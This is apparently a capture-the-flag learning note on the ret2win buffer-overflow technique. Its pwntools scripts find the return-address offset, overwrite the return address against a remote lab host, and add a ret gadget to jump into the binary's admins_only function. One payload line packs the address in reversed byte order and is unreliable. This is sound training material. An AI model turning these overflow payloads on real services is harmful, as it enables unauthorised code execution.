Return to win (ret2win)
Return to win is a buffer overflow technique relying on a return address overwrite to jump in another function.
On an x64 target we chack that we can indeed overflow and overwrite the return address :
from pwn import *
io = process('./pwn103-1644300337872.pwn103')
io.recvregex('channel:'.encode('ascii'))
io.sendline('4'.encode('ascii'))
io.recvregex('channel:'.encode('ascii'))
io.sendline('3'.encode('ascii'))
io.recvregex('pwner]:'.encode('ascii'))
io.sendline(cyclic(50))
io.wait()
core = io.corefile
fault = core.fault_addr
o = cyclic_find(p64(fault)[:4])
success(f'Found offset : {o}')
payload = b'\x41'*o + b'\x42' * 4
io = process('./pwn103-1644300337872.pwn103')
io.recvregex('channel:'.encode('ascii'))
io.sendline('4'.encode('ascii'))
io.recvregex('channel:'.encode('ascii'))
io.sendline('3'.encode('ascii'))
io.recvregex('pwner]:'.encode('ascii'))
io.sendline(payload)
io.wait()
core = io.corefile
fault = core.fault_addr
if hex(fault) == '0x42424242':
success('Overwrote the pointer !')
else:
error(f'Woops : {hex(fault)}')
We then exploit the buffer overflow with our desired return address :
from pwn import *
payload = b'A' * 40 + b'\x40\x15\x54'
io = process('./pwn103-1644300337872.pwn103')
io = remote('10.130.167.238', 9003)
io.recvregex('channel:'.encode('ascii'))
io.sendline('3'.encode('ascii'))
io.recvregex('pwner]:'.encode('ascii'))
io.info('Sending evil payload')
io.sendline(payload)
io.interactive()
We may receive an unexpected EOF if stack alignment is an issue. If so, we need to add a return gadget by padding our function address with the address of a return instruction from the binary :
context.binary = binary = ELF('./pwn103-1644300337872.pwn103')
io = remote('10.130.167.238', 9003)
io.sendline(b'3')
admins_only_addr = p64(binary.symbols.admins_only)
ret = p64(0x40158b)
payload = b"A" * 0x20 + b"B" * 0x8 + ret + admins_only_addr
io.sendline(payload)
io.interactive()
No comments to display
No comments to display